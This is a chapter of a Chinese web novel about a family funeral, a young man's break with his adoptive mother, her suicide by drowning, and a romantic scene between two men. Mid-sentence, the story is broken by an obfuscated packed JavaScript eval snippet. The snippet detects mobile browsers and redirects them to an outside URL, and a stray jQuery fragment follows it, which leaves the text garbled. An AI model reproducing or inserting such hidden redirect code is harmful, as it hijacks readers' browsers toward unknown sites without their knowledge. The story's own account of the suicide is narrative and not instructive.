陈信在三天后火化,这房子是租来的不敢随意乱动,最后他们便在不情不愿的陈迅家里草草搭了个简单的灵堂。
墙角摆着两块木板拼起来的供桌,铺着一块洗得发白的蓝布,上面插着三根黄香,到场的也就只有他们一家人。
仪式结束后,梁知和李秀娥要一同回住的地方。陈迅靠在门框上抽烟,嘴角扯出一抹冷笑:“妈,你可小心点,别到时候被人卖了还帮着数钱,爸和陈信都出事了,谁知道下一个会不会是你。”
李秀娥红着眼眶说不出话。
梁知掀了掀眼皮:“大哥有这阴阳怪气的功夫,不如多想想怎么正经找份活计赚佳乐的医疗费。不要让孩子从小就觉得,这个家,有你这个父亲,还不如没有。”
“梁知你什么意思?!你敢教训我?”
陈迅喘着粗气就要朝梁知冲上来,被李秀娥一把死死抱住腰,她哭得浑身发抖,声音嘶哑绝望:“够了!都别吵了!人都走了还闹!还嫌这个家不够乱吗?”
梁知被李秀娥拉着离开了,身后的陈迅气急败坏地一把将屋里的窗户全都狠狠拉开,风“呼”地一下灌进来,吹得供桌上的香灰漫天飞舞,他扯着嗓子喊:“晦气!真是晦气到家了!”
“够了,叫什么叫?”一道冰冷的女声在身后响起,“说到底,能发生这种事,家不成家,人不成人,还不是因为你一开始太贪?”
陈迅一怔,猛地回头:“赵春梨你疯了?帮着外人说我?我贪?我这还不是想给佳乐凑医药费!也是让你装上了,之前他们来借住的时候,你不是也暗戳戳地甩脸子想赶他们走吗?现在倒好,开始替他们说话了!”
“因为我觉得,梁知刚才有句话说得没错。”赵春梨冷笑着,一字一顿道,“这个家,有你,还真不如没有。”
回去的公交车摇摇晃晃,窗外的天色灰蒙蒙的,路灯一盏盏往后退。
李秀娥坐在靠窗的位置,抱着陈信的骨灰罐和遗照安慰梁知:“知知,你别把阿迅刚才的话放心上,他就是嘴坏,妈知道,你是个好孩子,不会做那种事。”
梁知睫毛轻轻动了一下,他缓缓抬起眼:“我不是。”
李秀娥一怔。
梁知看着她,目光平静得像一潭死水。
“从明天开始,”他说,“我们就大路朝天,各走一边吧。”
“为什么?”李秀娥一脸惊愕,“是因为阿信死了吗?是因为他走了,所以……”
“不是。”梁知打断她。
他看了眼李秀娥手中的遗照,目光只停了一瞬,便移开了。然后,他将先前向陈信袒露过的事情都说了出来。
他说那些话时很平静,平静得像是在说别人的事。可每一个字落进李秀娥耳朵里,都像烧红的铁钉,生生地往里钉。
他知道的,原来他早就知道了。
话音落下的那一刻,李秀娥的眼泪终于绷不住了。大颗滚烫的泪珠从眼眶里砸出来,顺着她布满皱纹的脸颊往下滑。
“知知……”她终于挤出两个字,沙哑得不像自己的声音。
梁知垂在膝头的手指悄悄蜷紧,指甲轻轻掐进掌心。
这个家于他而言从来都不算家,他可以不在乎所有人。
但李秀娥不一样。
是她当年把高烧的他捡回来,给了他一口热饭,一张能睡的床,让他有个地方遮风挡雨,让他二十几年里,能有一声妈妈可以叫。
也正是因为这样——
“我做不到,再像什么都没发生过一样跟你一起生活下去。”
李秀娥猛地摇头,声音带着哭腔,想要抓住梁知:“妈对不起你,知知,妈知道委屈你了……你别不要妈,妈只剩你和阿迅了,真的只剩你们了……”
梁知没有接话。
公交车的报站声恰好响起:“百乐街站到了,请下车的乘客做好准备。”
他站起身,让李秀娥尽快把东西收拾出来,说完,一步步走向车门。
李秀娥坐在座位上,怔怔地看着那个背影。那个她看了二十多年的背影,从刚被捡回来时瘦瘦小小的模样,到后来长成半大少年,再到如今,比她高出整整一个头。
她是真的爱梁知,毕竟那是她一手一脚拉扯大的孩子。只是在当初那样烂泥一样的日子里,她没有退路。做出欺骗梁知的选择时,她也挣扎过、痛苦过,可当梁知主动提出要退学的时候,她还是松了口气。
她终究,是个懦弱又偏心的母亲。
她忽然想起很多年前,梁知第一次从家里的土炕上醒来。那天阳光很好,透过窗棂照在他苍白的小脸上,他安安静静地躺着,不哭也不闹,就那么乖巧地看着她。她冲他招招手,笑着说:知知,以后这里就是你的家。
小小的梁知慢慢撑着身子坐起来,他跳下炕,光着一双小脚朝她走过来。步子很小,走得很慢,却一步都没有迟疑。
那个当年一步一步走向她的小孩,如今却在一步一步,彻底走出她的人生。
“知知!”李秀娥猛地回过神,用尽全身力气喊他。
车门口的背影顿了一下,但也只是一下。下一秒,他便抬脚跨出车门,融入了站台熙熙攘攘的人群里。
车门缓缓关上,隔绝了她的呼喊。李秀娥瘫坐在座位上,抱着怀里冰冷的骨灰罐,望着空荡荡的车门,终于发出撕心裂肺的哭声。
梁知当晚没有回出租屋,留在了陆柏安那里。第二天,一前一后收到了两条死讯。
第一个是陈迅。说是昨夜醉酒,在楼道里踩空,从五楼直接摔了下去,后脑磕在水泥地上,人当场就没了。
话虽然都是妻子赵春梨的一面之词,但警方反复勘查现场,没有第三方痕迹,最终只能按意外身亡结案。
第二个是李秀娥。百乐街的街坊群里发布了一段模糊的视频,是河道打捞现场。捞上来的人泡得发胀变形,皮肉泛白,面目被水泡得无法辨认,梁知只看了一眼那身穿着便认出那是李秀娥。
警方后来调了河边监控,画面里,她一个人慢慢走到护栏边,怀里抱着陈信骨灰罐,翻身一跃,就这样跳了下去。人被捞了上来,那只陪着她一路的骨灰罐,却沉在了河底,再也没找到。
梁知看完视频,侧过身,把自己靠进陆柏安怀里。
陆柏安顺着他的姿势往下滑了滑,手臂环上来,把他整个人圈住。
屋里很静,静得能听见彼此的呼吸。
梁知闭着眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210574|196990||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
睛,脸埋在他胸口。
陆柏安的T恤上有洗衣液的味道,混着一点他身上很淡的体温。梁知闻了一会儿,突然觉得眼眶发酸。他没动,也没出声,只是把脸埋得更深了一些。
不知过了多久,陆柏安感觉胸口那片布料慢慢洇湿了一小块。
“人死了,会去哪?”怀里的人轻声问。
“死了,”陆柏安说,“就什么都没有了。”
他一下下轻拍着梁知的后背,像哄小孩一样。随后伸出手,掌心贴上梁知的脸颊,拇指慢慢地抚过他的眼角,把那颗摇摇欲坠的眼泪接住,擦掉。
梁知的睫毛颤了颤,下一秒,陆柏安的唇落下来。先贴在他泛红的眼皮上,再缓缓下移,掠过眉心,拂过鼻梁,最终停在他微凉的唇上。
梁知闭着眼,鼻腔里全是陆柏安的气息,原本紧绷的身体在这个吻里一点点软了下来,攥着衣料的手慢慢松开,转而环住了陆柏安的腰。
一吻结束,梁知埋在他颈窝喘了口气,道:“你给我讲个笑话。”
陆柏安愣了愣:“什么笑话?”
“随便,只要能转移注意力。”
陆柏安搜肠刮肚半天,终于想起一件绝对能让他分散注意的事。
“你还记得那天你喝醉,我们在视频软件上打了十几分钟视频电话吗?”
“记得。”
“那你记得,通话里都发生了什么吗?”
梁知沉默两秒:“不记得。”
陆柏安默默拿出手机,点开那个珍藏的录屏。
梁知垂着眼,面无表情地接过来。
十几分钟安安静静过去。他缓缓放下手机,脸上神情依旧淡淡的看不出喜怒,可从耳尖到脖颈,再到脸颊、锁骨,全身上下都红得发烫。
‘再漂亮,也是男孩儿呀……我真的是男孩儿,你看,我还能站着尿尿呢……’
我还能站着尿尿呢……
站着尿尿呢……
尿尿呢……
他抬起眼,静静地看着面前的人:“你能失忆吗?”
陆柏安没忍住低低笑出了声,他伸手捏了捏梁知发烫的耳尖:“恐怕不行。我存了好几个备份,云端、电脑、旧手机里都有。”
梁知低下头,两只手虚虚捂住脸,声音闷闷地从指缝里钻出来:“你这不是笑话,是公开处刑。”
“管用就行。”
梁知沉默几秒,把两根食指与中指微微张开,只露出一双眼睛,一眨不眨地盯着陆柏安:“删掉?”
陆柏安轻轻摇头。
梁知把手全部拿下来。脸颊红扑扑的,从鼻尖到下颌都泛着一层粉,像颗被温水浸过的水蜜桃。
他微微倾身,抬手轻轻勾住陆柏安的脖子,仰头吻住了他。
陆柏安眸色一深,伸手扣住他的后腰,反客为主,加深了这个吻。
直到呼吸微乱,两人缓缓分开。
“现在呢?”
“现在也不行。”
“那这样呢?”
“不行。”
“这样呢?”
“不……”
“这样呢?”
“……”
“怎么又流鼻血了?”